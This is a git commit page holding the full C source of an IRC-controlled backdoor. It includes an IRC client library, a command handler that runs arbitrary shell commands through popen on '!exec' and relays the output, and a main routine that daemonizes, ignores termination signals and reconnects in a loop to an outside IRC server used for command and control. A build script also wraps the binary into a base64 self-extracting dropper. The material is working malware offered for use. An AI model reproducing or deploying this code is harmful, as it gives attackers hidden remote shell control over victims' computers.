first
This commit is contained in:
commit
c174752597
5
build.sh
Executable file
5
build.sh
Executable file
@ -0,0 +1,5 @@
|
|||||||
|
CFLAGS="-s -Os -pedantic -Wall -Wextra"
|
||||||
|
|
||||||
|
rm main
|
||||||
|
|
||||||
|
cc $CFLAGS src/* -Iinclude -DENABLE_SSL -lssl -lcrypto -omain
|
3
gen_script.sh
Executable file
3
gen_script.sh
Executable file
@ -0,0 +1,3 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
./build.sh
|
||||||
|
echo \#\!"/bin/sh" > script.sh && cat main | base64 | xargs -I % echo f+=\" % \" | tr -d " " >> script.sh && echo -e "t=\$(mktemp -p \$TMPDIR XXXXXXXX)\necho \$f | base64 -d > \$t\nchmod +x \$t\nexec \$t" >> script.sh && chmod +x script.sh
|
10
include/backdoor.h
Normal file
10
include/backdoor.h
Normal file
@ -0,0 +1,10 @@
|
|||||||
|
#ifndef _BACKDOOR_H
|
||||||
|
#define _BACKDOOR_H
|
||||||
|
#include "irc.h"
|
||||||
|
|
||||||
|
#define COMMON_BUF_SIZE 200
|
||||||
|
|
||||||
|
void backdoor_offline(void);
|
||||||
|
void parse_cmd(IRCC_client *client);
|
||||||
|
|
||||||
|
#endif
|
13
include/cfg.h
Normal file
13
include/cfg.h
Normal file
@ -0,0 +1,13 @@
|
|||||||
|
typedef struct {
|
||||||
|
int use_ssl;
|
||||||
|
char *ip;
|
||||||
|
int port;
|
||||||
|
|
||||||
|
char *pre_cmd;
|
||||||
|
char *channel;
|
||||||
|
char *channel_key;
|
||||||
|
} SERVER;
|
||||||
|
|
||||||
|
SERVER servers[] = {
|
||||||
|
{1, "irc.rizon.net", 6697, NULL, "#channel", NULL}
|
||||||
|
};
|
65
include/irc.h
Normal file
65
include/irc.h
Normal file
@ -0,0 +1,65 @@
|
|||||||
|
/*
|
||||||
|
LICENSE: WTFPL
|
||||||
|
Simple library for working with ipv4 irc servers
|
||||||
|
Dont support:
|
||||||
|
ddc
|
||||||
|
ipv6
|
||||||
|
motd
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef _IRCC_H
|
||||||
|
#define _IRCC_H
|
||||||
|
|
||||||
|
#define IRCC_MSG_MAX 512
|
||||||
|
#define IRCC_PING_TIMEOUT 600
|
||||||
|
|
||||||
|
#ifdef ENABLE_SSL
|
||||||
|
#include <openssl/ssl.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
enum {
|
||||||
|
IRCC_NICK = 1,
|
||||||
|
IRCC_PRIVMSG,
|
||||||
|
IRCC_JOIN,
|
||||||
|
IRCC_QUIT,
|
||||||
|
IRCC_PING,
|
||||||
|
IRCC_TOPIC,
|
||||||
|
IRCC_MODE,
|
||||||
|
|
||||||
|
IRCC_CONNECTED,
|
||||||
|
IRCC_DISCONNECTED,
|
||||||
|
IRCC_ERROR,
|
||||||
|
IRCC_SUCCESS
|
||||||
|
};
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
int irc_socket;
|
||||||
|
|
||||||
|
char irc_raw[IRCC_MSG_MAX + 1];
|
||||||
|
char *irc_msg;
|
||||||
|
char *irc_channel;
|
||||||
|
char *irc_nick;
|
||||||
|
|
||||||
|
#ifdef ENABLE_SSL
|
||||||
|
int irc_usingssl;
|
||||||
|
|
||||||
|
SSL_METHOD *irc_sslmethod;
|
||||||
|
SSL_CTX *irc_sslctx;
|
||||||
|
SSL *irc_ssl;
|
||||||
|
#endif
|
||||||
|
} IRCC_client;
|
||||||
|
|
||||||
|
int IRCC_connect(IRCC_client *irc, const char *ip, const unsigned int port);
|
||||||
|
int IRCC_recv(IRCC_client *irc);
|
||||||
|
int IRCC_parse(IRCC_client *irc);
|
||||||
|
int IRCC_join(IRCC_client *irc, const char *channel, const char *key);
|
||||||
|
int IRCC_send(IRCC_client *irc, const char *channel, const char *msg);
|
||||||
|
int IRCC_register(IRCC_client *irc, const char *nickname);
|
||||||
|
int IRCC_initssl(IRCC_client *irc);
|
||||||
|
void IRCC_close(IRCC_client *irc);
|
||||||
|
|
||||||
|
//u - mean universal. Functions uses internal fields in structure
|
||||||
|
int IRCC_usend(IRCC_client *irc, off_t bytes);
|
||||||
|
int IRCC_urecv(IRCC_client *irc);
|
||||||
|
|
||||||
|
#endif
|
76
src/backdoor.c
Normal file
76
src/backdoor.c
Normal file
@ -0,0 +1,76 @@
|
|||||||
|
#include <unistd.h>
|
||||||
|
#include <sys/utsname.h>
|
||||||
|
#include "backdoor.h"
|
||||||
|
#include "irc.h"
|
||||||
|
|
||||||
|
static FILE *fp;
|
||||||
|
|
||||||
|
void backdoor_offline(void) {
|
||||||
|
sleep(60);
|
||||||
|
}
|
||||||
|
|
||||||
|
void send_info(IRCC_client *client, const char *buf) {
|
||||||
|
char *nick = strdup(client->irc_nick);
|
||||||
|
if (nick == NULL)
|
||||||
|
return;
|
||||||
|
|
||||||
|
IRCC_send(client, nick, buf);
|
||||||
|
free(nick);
|
||||||
|
}
|
||||||
|
|
||||||
|
void parse_cmd(IRCC_client *client) {
|
||||||
|
if (!strncmp(client->irc_msg, "!exit", 5)) {
|
||||||
|
IRCC_close(client);
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
else if (!strncmp(client->irc_msg, "!cd", 3))
|
||||||
|
chdir(client->irc_msg + 4);
|
||||||
|
|
||||||
|
else if (!strncmp(client->irc_msg, "!uname", 6)) {
|
||||||
|
struct utsname uts;
|
||||||
|
if (uname(&uts) < 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
char buf[COMMON_BUF_SIZE + 1];
|
||||||
|
snprintf(buf, sizeof(buf), "[Arch: %s] [Sys: %s %s] [Host: %s]", uts.machine, uts.sysname, uts.version, uts.nodename);
|
||||||
|
|
||||||
|
send_info(client, buf);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Shell */
|
||||||
|
else if (!strncmp(client->irc_msg, "!exec", 5)) {
|
||||||
|
if (fp != NULL)
|
||||||
|
pclose(fp);
|
||||||
|
|
||||||
|
fp = popen(client->irc_msg + 5, "wr");
|
||||||
|
}
|
||||||
|
|
||||||
|
else if (!strncmp(client->irc_msg, "!print", 5)) {
|
||||||
|
if (fp == NULL)
|
||||||
|
return;
|
||||||
|
|
||||||
|
char buf[COMMON_BUF_SIZE + 1];
|
||||||
|
if (fgets(buf, sizeof(buf), fp) == NULL) {
|
||||||
|
pclose(fp);
|
||||||
|
fp = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
send_info(client, buf);
|
||||||
|
}
|
||||||
|
|
||||||
|
else if (!strncmp(client->irc_msg, "!write", 5)) {
|
||||||
|
if (fp == NULL)
|
||||||
|
return;
|
||||||
|
|
||||||
|
fputs(client->irc_msg + 5, fp);
|
||||||
|
}
|
||||||
|
|
||||||
|
else if (!strncmp(client->irc_msg, "!close", 5)) {
|
||||||
|
if (fp == NULL)
|
||||||
|
return;
|
||||||
|
|
||||||
|
pclose(fp);
|
||||||
|
fp = NULL;
|
||||||
|
}
|
||||||
|
}
|
237
src/irc.c
Normal file
237
src/irc.c
Normal file
@ -0,0 +1,237 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <netdb.h>
|
||||||
|
#include <sys/time.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include "irc.h"
|
||||||
|
|
||||||
|
int IRCC_urecv(IRCC_client *irc) {
|
||||||
|
#ifdef ENABLE_SSL
|
||||||
|
if (irc->irc_usingssl)
|
||||||
|
return SSL_read(irc->irc_ssl, irc->irc_raw, sizeof(irc->irc_raw));
|
||||||
|
#endif
|
||||||
|
|
||||||
|
return recv(irc->irc_socket, irc->irc_raw, sizeof(irc->irc_raw), 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
int IRCC_usend(IRCC_client *irc, off_t bytes) {
|
||||||
|
#ifdef ENABLE_SSL
|
||||||
|
if (irc->irc_usingssl)
|
||||||
|
return SSL_write(irc->irc_ssl, irc->irc_raw, bytes);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
return send(irc->irc_socket, irc->irc_raw, bytes, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
int IRCC_connect(IRCC_client *irc, const char *ip, const unsigned int port) {
|
||||||
|
struct hostent *hp = gethostbyname(ip);
|
||||||
|
if (!hp)
|
||||||
|
return IRCC_ERROR;
|
||||||
|
|
||||||
|
//Only ipv4
|
||||||
|
struct sockaddr_in client_str;
|
||||||
|
memset(&client_str, 0, sizeof(client_str));
|
||||||
|
client_str.sin_family = AF_INET;
|
||||||
|
client_str.sin_port = htons(port);
|
||||||
|
client_str.sin_addr.s_addr = inet_addr(inet_ntoa(*(struct in_addr *)hp->h_addr));
|
||||||
|
|
||||||
|
irc->irc_socket = socket(AF_INET, SOCK_STREAM, 0);
|
||||||
|
if (irc->irc_socket < 0)
|
||||||
|
return IRCC_ERROR;
|
||||||
|
|
||||||
|
struct timeval tv = {IRCC_PING_TIMEOUT, 0};
|
||||||
|
if (setsockopt(irc->irc_socket, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)) < 0)
|
||||||
|
return IRCC_ERROR;
|
||||||
|
|
||||||
|
int status = connect(irc->irc_socket, (struct sockaddr *)&client_str, sizeof(client_str));
|
||||||
|
if (status == -1)
|
||||||
|
return IRCC_ERROR;
|
||||||
|
|
||||||
|
return IRCC_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
void IRCC_parse_msg(char *tmp, IRCC_client *irc) {
|
||||||
|
irc->irc_raw[strcspn(irc->irc_raw, "\r\n")] = '\0';
|
||||||
|
|
||||||
|
if (tmp != NULL) {
|
||||||
|
//Message
|
||||||
|
char *val = strchr(tmp, ':');
|
||||||
|
if (val != NULL) {
|
||||||
|
val[0] = '\0';
|
||||||
|
irc->irc_msg = val + 1;
|
||||||
|
|
||||||
|
//Del space before :
|
||||||
|
*(val - 1) = '\0';
|
||||||
|
}
|
||||||
|
|
||||||
|
//Channel
|
||||||
|
val = strchr(tmp, ' ');
|
||||||
|
if (val != NULL) {
|
||||||
|
val[0] = '\0';
|
||||||
|
irc->irc_channel = val + 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
//Nickname
|
||||||
|
val = strchr(irc->irc_raw, '!');
|
||||||
|
if (val != NULL) {
|
||||||
|
val[0] = '\0';
|
||||||
|
irc->irc_nick = irc->irc_raw + 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int IRCC_recv(IRCC_client *irc) {
|
||||||
|
memset(irc->irc_raw, '\0', IRCC_MSG_MAX);
|
||||||
|
|
||||||
|
int msg_size = IRCC_urecv(irc);
|
||||||
|
if (msg_size == 0 || msg_size == -1)
|
||||||
|
return IRCC_DISCONNECTED;
|
||||||
|
|
||||||
|
else if (!strncmp(irc->irc_raw, "PING", 4)) {
|
||||||
|
*(strchr(irc->irc_raw, 'I')) = 'O';
|
||||||
|
if (IRCC_usend(irc, strlen(irc->irc_raw)) == -1)
|
||||||
|
return IRCC_ERROR;
|
||||||
|
|
||||||
|
return IRCC_PING;
|
||||||
|
}
|
||||||
|
|
||||||
|
return IRCC_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
int IRCC_parse(IRCC_client *irc) {
|
||||||
|
irc->irc_channel = NULL;
|
||||||
|
irc->irc_msg = NULL;
|
||||||
|
irc->irc_nick = NULL;
|
||||||
|
|
||||||
|
//Check end of motd
|
||||||
|
if (strstr(irc->irc_raw, "PRIVMSG ") == NULL && strstr(irc->irc_raw, "MOTD"))
|
||||||
|
return IRCC_CONNECTED;
|
||||||
|
|
||||||
|
//Other
|
||||||
|
else if (strstr(irc->irc_raw, "PRIVMSG ")) {
|
||||||
|
IRCC_parse_msg(strstr(irc->irc_raw, "PRIVMSG "), irc);
|
||||||
|
return IRCC_PRIVMSG;
|
||||||
|
}
|
||||||
|
|
||||||
|
else if (strstr(irc->irc_raw, "NICK ")) {
|
||||||
|
IRCC_parse_msg(strstr(irc->irc_raw, "NICK "), irc);
|
||||||
|
return IRCC_NICK;
|
||||||
|
}
|
||||||
|
|
||||||
|
else if (strstr(irc->irc_raw, "TOPIC ")) {
|
||||||
|
IRCC_parse_msg(strstr(irc->irc_raw, "TOPIC "), irc);
|
||||||
|
return IRCC_TOPIC;
|
||||||
|
}
|
||||||
|
|
||||||
|
else if (strstr(irc->irc_raw, "MODE ")) {
|
||||||
|
IRCC_parse_msg(strstr(irc->irc_raw, "MODE "), irc);
|
||||||
|
return IRCC_MODE;
|
||||||
|
}
|
||||||
|
|
||||||
|
else if (strstr(irc->irc_raw, "JOIN ")) {
|
||||||
|
IRCC_parse_msg(strstr(irc->irc_raw, "JOIN "), irc);
|
||||||
|
return IRCC_JOIN;
|
||||||
|
}
|
||||||
|
|
||||||
|
else if (strstr(irc->irc_raw, "PART ") || strstr(irc->irc_raw, "QUIT ")) {
|
||||||
|
IRCC_parse_msg(strstr(irc->irc_raw, "PART "), irc);
|
||||||
|
IRCC_parse_msg(strstr(irc->irc_raw, "QUIT "), irc);
|
||||||
|
return IRCC_QUIT;
|
||||||
|
}
|
||||||
|
|
||||||
|
return IRCC_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
int IRCC_register(IRCC_client *irc, const char *nickname) {
|
||||||
|
off_t bytes = snprintf(irc->irc_raw, sizeof(irc->irc_raw), "NICK %s\r\n", nickname);
|
||||||
|
if (IRCC_usend(irc, bytes) == -1)
|
||||||
|
return IRCC_ERROR;
|
||||||
|
|
||||||
|
bytes = snprintf(irc->irc_raw, sizeof(irc->irc_raw), "USER %s 0 localhost :%s\r\n", nickname, nickname);
|
||||||
|
if (IRCC_usend(irc, bytes) == -1)
|
||||||
|
return IRCC_ERROR;
|
||||||
|
|
||||||
|
//Motd skip
|
||||||
|
while (1) {
|
||||||
|
int status = IRCC_recv(irc);
|
||||||
|
if (status == IRCC_DISCONNECTED)
|
||||||
|
return IRCC_DISCONNECTED;
|
||||||
|
|
||||||
|
status = IRCC_parse(irc);
|
||||||
|
if (status == IRCC_CONNECTED)
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
return IRCC_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
int IRCC_join(IRCC_client *irc, const char *channel, const char *key) {
|
||||||
|
off_t bytes = snprintf(irc->irc_raw, sizeof(irc->irc_raw), "JOIN %s %s\r\n", channel, (key) ? key : "");
|
||||||
|
if (IRCC_usend(irc, bytes) == -1)
|
||||||
|
return IRCC_ERROR;
|
||||||
|
|
||||||
|
return IRCC_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
int IRCC_send(IRCC_client *irc, const char *channel, const char *msg) {
|
||||||
|
off_t bytes = snprintf(irc->irc_raw, sizeof(irc->irc_raw), "PRIVMSG %s :%s\r\n", channel, msg);
|
||||||
|
if (IRCC_usend(irc, bytes) == -1)
|
||||||
|
return IRCC_ERROR;
|
||||||
|
|
||||||
|
return IRCC_SUCCESS;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
int IRCC_initssl(IRCC_client *irc) {
|
||||||
|
#ifdef ENABLE_SSL
|
||||||
|
irc->irc_ssl = NULL;
|
||||||
|
irc->irc_sslctx = NULL;
|
||||||
|
irc->irc_sslmethod = NULL;
|
||||||
|
|
||||||
|
OpenSSL_add_all_algorithms();
|
||||||
|
|
||||||
|
if (SSL_library_init() < 0)
|
||||||
|
return IRCC_ERROR;
|
||||||
|
|
||||||
|
irc->irc_sslmethod = (SSL_METHOD *)SSLv23_client_method();
|
||||||
|
irc->irc_sslctx = SSL_CTX_new(irc->irc_sslmethod);
|
||||||
|
if (irc->irc_sslctx == NULL)
|
||||||
|
return IRCC_ERROR;
|
||||||
|
|
||||||
|
SSL_CTX_set_options(irc->irc_sslctx, SSL_OP_NO_SSLv2);
|
||||||
|
irc->irc_ssl = SSL_new(irc->irc_sslctx);
|
||||||
|
|
||||||
|
SSL_set_fd(irc->irc_ssl, irc->irc_socket);
|
||||||
|
if (SSL_connect(irc->irc_ssl) != 1)
|
||||||
|
return IRCC_ERROR;
|
||||||
|
|
||||||
|
irc->irc_usingssl = 1;
|
||||||
|
|
||||||
|
#else
|
||||||
|
(void)irc;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
return IRCC_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
void IRCC_close(IRCC_client *irc) {
|
||||||
|
close(irc->irc_socket);
|
||||||
|
irc->irc_msg = irc->irc_nick = irc->irc_channel = NULL;
|
||||||
|
|
||||||
|
#ifdef ENABLE_SSL
|
||||||
|
if (!irc->irc_usingssl)
|
||||||
|
return;
|
||||||
|
|
||||||
|
if (irc->irc_ssl != NULL) {
|
||||||
|
SSL_shutdown(irc->irc_ssl);
|
||||||
|
SSL_free(irc->irc_ssl);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (irc->irc_sslctx != NULL)
|
||||||
|
SSL_CTX_free(irc->irc_sslctx);
|
||||||
|
#endif
|
||||||
|
}
|
78
src/main.c
Normal file
78
src/main.c
Normal file
@ -0,0 +1,78 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <signal.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include "backdoor.h"
|
||||||
|
#include "irc.h"
|
||||||
|
#include "cfg.h"
|
||||||
|
|
||||||
|
char *randnick(size_t len) {
|
||||||
|
char a[] = "asdfghjklzxcvbnmqwertyuiopASDFGHJKLZXCVBNMQWERTYUIOP";
|
||||||
|
char *str = malloc(len + 1);
|
||||||
|
if (str == NULL)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
for (size_t i = 0; i < len; i++)
|
||||||
|
str[i] = a[rand() % sizeof(a)];
|
||||||
|
|
||||||
|
str[len] = '\0';
|
||||||
|
return str;
|
||||||
|
}
|
||||||
|
|
||||||
|
int start(void) {
|
||||||
|
SERVER rand_serv = servers[rand() % (sizeof(SERVER) / sizeof(servers))];
|
||||||
|
|
||||||
|
static IRCC_client client;
|
||||||
|
int status = IRCC_connect(&client, rand_serv.ip, rand_serv.port);
|
||||||
|
if (status == IRCC_ERROR)
|
||||||
|
return 1;
|
||||||
|
|
||||||
|
if (rand_serv.use_ssl)
|
||||||
|
if (IRCC_initssl(&client) == IRCC_ERROR)
|
||||||
|
return 1;
|
||||||
|
|
||||||
|
char *nick = randnick(15);
|
||||||
|
if (nick == NULL)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
if (IRCC_register(&client, nick) == IRCC_DISCONNECTED) {
|
||||||
|
free(nick);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
free(nick);
|
||||||
|
|
||||||
|
if (IRCC_join(&client, rand_serv.channel, rand_serv.channel_key) == IRCC_ERROR)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
while (1) {
|
||||||
|
int irc_status = IRCC_recv(&client);
|
||||||
|
if (irc_status == IRCC_DISCONNECTED)
|
||||||
|
return 1;
|
||||||
|
|
||||||
|
irc_status = IRCC_parse(&client);
|
||||||
|
if (irc_status == IRCC_PRIVMSG && client.irc_nick != NULL && client.irc_msg != NULL && client.irc_channel != NULL)
|
||||||
|
parse_cmd(&client);
|
||||||
|
}
|
||||||
|
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(void) {
|
||||||
|
daemon(0, 0);
|
||||||
|
|
||||||
|
if (fork() == 0) {
|
||||||
|
daemon(0, 0);
|
||||||
|
signal(SIGINT, SIG_IGN);
|
||||||
|
signal(SIGTERM, SIG_IGN);
|
||||||
|
signal(SIGKILL, SIG_IGN);
|
||||||
|
|
||||||
|
srand(getpid());
|
||||||
|
chdir(getenv("HOME"));
|
||||||
|
while (1)
|
||||||
|
if (start())
|
||||||
|
backdoor_offline();
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
Loading…
Reference in New Issue
Block a user